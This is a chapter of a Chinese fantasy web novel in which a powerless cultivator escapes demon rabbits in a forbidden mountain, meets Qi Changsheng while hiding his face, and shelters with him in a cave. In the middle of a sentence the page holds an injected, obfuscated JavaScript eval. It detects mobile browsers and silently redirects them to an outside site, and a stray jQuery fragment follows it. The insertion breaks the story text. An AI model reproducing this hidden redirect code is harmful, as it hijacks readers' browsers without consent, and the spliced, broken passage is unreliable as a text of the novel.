8.【万山岭】丝雨细如愁

作品:《恶役不想重蹈覆辙

    万山岭地如其名,由一片连绵小山围成,地势险峻,又被丛林覆盖,内有许多高阶魔物,禁止通行十载有余。


    纵使云霄试炼严格,也只是选在它的附近,不敢再往前一步,足以见其凶险程度。


    但有句话叫,来都来了。


    贺春生从剑上掉下去如是想,踏入万山岭如是想,在曲折山路前被淋成落汤鸡也如是想。


    四季州的季节刚好换到梅雨季,到处都是青苔的气息。


    空中的珠帘砸落在地,碎的彻底,引得群山之间白雾四漫。


    贺春生站在三条岔路中间,其中有两条,旁边插着不长不短一根树枝,枝上系着一条白纱。


    同样的白纱叠成两层,盖住贺春生下半张脸,遮住他因丧失灵力而恢复的原貌。


    天上炸响一声惊雷,雨势越来越大。


    水珠挂在他的眉骨,又顺着睫毛拍打落下。


    贺春生已经试过两条路了,每次兜转一圈,还是回到原点。


    他狠狠咽了下唾沫,目光移向最中间那条。


    只剩这个了。


    天色已接近半黑,魔物磨牙声不时在耳边响起,时间容不得他犹豫思考,贺春生几乎是立马下了决心,迈步进去。


    山上除了干土就是石头,平日走着倒不费力,但下了雨,土变成泥,石头也开始打滑。


    贺春生走的急忙,白袍染上泥泞,袖子也被枝桠扯断半边,露出的一截小臂上不知何时划出一口,正往外冒血。


    贺春生走了一路,血也滴落一路,零零散散的,刚落在地上便被雨砸碎,随着水往四处流去。


    白雾散了又聚,身后的树被风吹的一抖一抖,在暗处像张着血口的怪物。


    两只眼睛在树后亮起。


    它垂头,嗅了下随雨流来的血丝,再抬头时,眼睛中迸射出锐利的凶光,随即流下一条长长的涎水,抖着耳朵发出低吼。


    一双,两双,三双——


    布满血色肉筋的眼睛一双双亮起,垂涎的看着一个目标。


    这次没再回到原点,看来这条路是对的,只要一直顺着走下去,便能找到祈长生。


    贺春生将追踪符拿出,上面附着的灵力立马弹出,片刻后又回到符中。


    就在前方了!


    还好他往符中灌的灵力不少,不至于让自己像无头苍蝇一般乱撞。


    贺春生叹口气。


    自己当时只要一滴血时就料想过会有今日,只是没想到,这一天来的这么早,又这么巧。


    他将追踪符整齐叠好,又塞回衣服里。


    “嘶——嘶——沙沙——沙——”


    丛间有什么东西擦着叶子过去,黑影一闪而过,贺春生猛地回头,什么也没有。


    贺春生若无其事的把头转过去,下一秒,踮起脚就不要命的跑起来。


    搞笑!这种情况下不赶紧跑还留着打探情况吗?!


    生命是很珍贵的,这种情况下,他可不敢随意拿出来玩。


    贺春生承认自己贪生怕死,因为惜命,他对危险的感知力也比常人高的多。


    特别是没有灵力不能硬刚时,一点风吹草动都能让他竖着耳朵听半天。


    他强大的感知力这次也没有出错,在他撒丫子跑的同时,树后那群眼睛也跳了出来,“吱吱”喊着跟上他。


    听见声音,贺春生往后看了眼,魂都快吓飞。


    是一群魔兔,长得很普通,要说有什么特点,就是两颗兔牙尖锐,体型大了些,眼睛格外红。


    对别人来说,这可能是万山岭最可爱,最和善的魔物了。


    但贺春生不一样。


    他怕兔子,怕的原因还狠可笑,他觉得兔子那双红眼很诡异,能摄人心魂。


    贺春生撑着快软下去的腿,跑的更快了。


    魔兔也不甘落后,前后腿一蹦,比贺春生跑十步还远,不一会就在后方聚起白海。


    距离很快只剩一拳,为首的兔王蓄力一蹬,在天上划出完美的弧线,落在贺春生的背上,死死咬住他的衣服,往上爬去。


    绒毛隔着布料蹭着,贺春生意识到这是什么东西后,差点尖叫出来。


    贺春生害怕的紧,用尽全身力气,一巴掌扇去。


    他打颤的腿彻底软下,整个人往后一仰,顺着边缘滚了下去。


    “砰——!”


    前方的石头震开,石砾碎在四周,祈长生蹲下,捡起一粒。


    上下指搓下,便变成粉末。


    他们这群人入门之前都未学过修仙之术,练气都不到,有灵力也不知如何使用。


    让凡人单挑魔物显然不现实,于是进入试炼之地后,每个人都会随机分到一个“能力”。


    疗愈催眠算卦,甚至还有加快逃跑速度的,种类多种多样,按三峰的说法是“能力不在强,在人为,具体看个人造化如何”。


    别人分到的都是些能用上的,祈长生却分到一堆没用的爆破符。


    他都有点怀疑是不是贺春生不想让他入门,故意给他的。


    祈长生站起身,沉默着,又往另一个石头上扔了张爆破符上去。


    随着石头被炸碎,祈长生好像听到谁在“啊啊啊”叫。


    石头成精了?


    祈长生默默往旁边挪了挪,抬头。


    白袍从天上落下,他还没看清脸,那人便在天上旋转一周,转了过去。


    他挑眉,又重新挪了回去,张开双臂,接了个准。


    祈长生挑眉,先发制人:“下来?”


    祈长生是问句,但声音平淡,毫无起伏,落在贺春生耳朵里,就成了赶人。


    贺春生赶紧摇头,他正脸对着祈长生的胸膛,恨不得把整个脑袋都缩进祈长生怀里。


    好巧不巧,贺春生刚刚顺着山坡滚下来,不仅甩开了魔兔,还正好落在祈长生面前。


    要死不死,面纱不知道滚哪去了,贺春生现在顶着这张脸,正好撞到正主面前。


    关键自己现在换了另一种身份,还不能直接问他讨血,得斟酌着来。


    贺春生夹着嗓子,装不认识:“你好,我们都迷路了,一起吧。”


    一句话拐了十八个弯,贺春生说完就被自己腻的干呕一下,心想都这么恶心了自己一定不会被认出来。


    祈长生口吻迷离,咀嚼道:“迷路?”


    片刻后:“好哇。”


    最后一个音节上翘了些,很开心的样子。


    贺春生小鸡啄米般点头:“嗯嗯。”


    祈长生小拇指划过他的腰:“那就这样吧。”


    “嗯嗯。”贺春生忙应,忽然反应过来:“不对。”


    他往祈长生肩上猛拍:“放我下来。”又补了句:“把眼闭上!”


    祈长生是真听话,立马把眼闭上了。


    贺春生等了半天,看这人确实没偷看的想法,才慢慢从祈长生身上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018609|177951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挪下来。


    他背过身,借着余光,想再看看祈长生意向,目光扫过去,却看见一动不动的黑色眼珠。


    “!!!”贺春生当场冷汗就出来了,他语气迟疑:“你……”


    眼珠上的眼皮又盖了下去,好像刚刚只是自己的错觉。


    祈长生的声音飘来,不重不轻:“眼滑了,刚睁开。”


    “……”


    贺春生半只脚刚从阎王殿迈回来,没功夫欣赏他的冷笑话。


    方才自己是背着站的,应该没被看到脸,再者若这崽子看到自己和他长得一模一样,也不该是这个反应。


    贺春生在心里一顿解析,最后得出个结论。


    ——祈长生有毛病,不用理。


    他利落的从身上扯了块白布,穿进发冠上,从上到下遮了个完。


    安心多了。


    贺春生道:“睁开吧。”


    祈长生这才睁开眼。


    只是这次的眼神里,似乎多了些意味不明的东西。


    祈长生盯着他:“你的声音,有些熟悉。”


    贺春生立马夹起来:“我大众音。”


    祈长生立马抛来另一个问题:“那脸呢?”


    贺春生一时没反应过来,他懵了会,有些不解的指着自己:“在这儿。”


    “……”祈长生似乎无语到了,彻底静下来。


    两人就这么并列走着,如今山中全黑,看祈长生的样子,是想找个地方先过夜。


    这确实是个明智的决策,毕竟山路长得一样,摸黑更容易迷路。


    半柱香后,两人还真找到一处能歇身的地方。


    是一个山洞,里面杂草一堆,角落堆着动物残骸,已经腐烂了,看上去是什么魔物的旧居。


    祈长生把杂草堵在洞口防风,又沉默着把草杆堆在他旁边,捏了簇火扔进去。


    火腾的一下升起,暖洋洋的,整个洞都亮了。


    祈长生依旧没什么表情,在他旁边坐下。


    这人真奇怪,说他面瘫吧,他也会笑;说他不面瘫吧,你不理他他就没表情,行尸走肉一样,一天到晚不知道在想什么。


    贺春生纠结了下,还是问了:“你是怎么迷路的?”


    毕竟万山岭乃是禁地,试炼前他就该了解过,没人会主动凑上去。


    祈长生道:“没有迷路。”


    没有迷路?所以他还真就是主动凑上来的?


    祈长生不再回答这个问题,他自顾自把头靠在墙上,半边脸陷进阴影里。


    贺春生刚想开口问问伞怨的事,被打断。


    祈长生似乎很累,垂着眼,道:“我给你讲个故事吧。”


    贺春生只好闭嘴:“嗯。”


    草杆被火烧出声,温和的光影打在祈长生身上。


    祈长生慢悠悠开口:“有个孩子,记事起就被困在井里,那个井很小,很窄,但很高,他使劲喊‘救救我!救救我!’,别人都听不见,也或许听见了,但没人理。”


    “后来那个孩子意识到了,他喊破喉咙也没用,他学乖了,不再喊了。”


    贺春生问:“后来呢?”


    祈长生随意把草丢进火里,道:“没有后来,如果有,那也是孩子死在井里了。”


    贺春生由衷感到悲哀,可惜这悲哀还没发酵,洞外便传来一阵急促的脚步声。


    接着响起一位凄惨女声:“有人吗?救命!快救命!”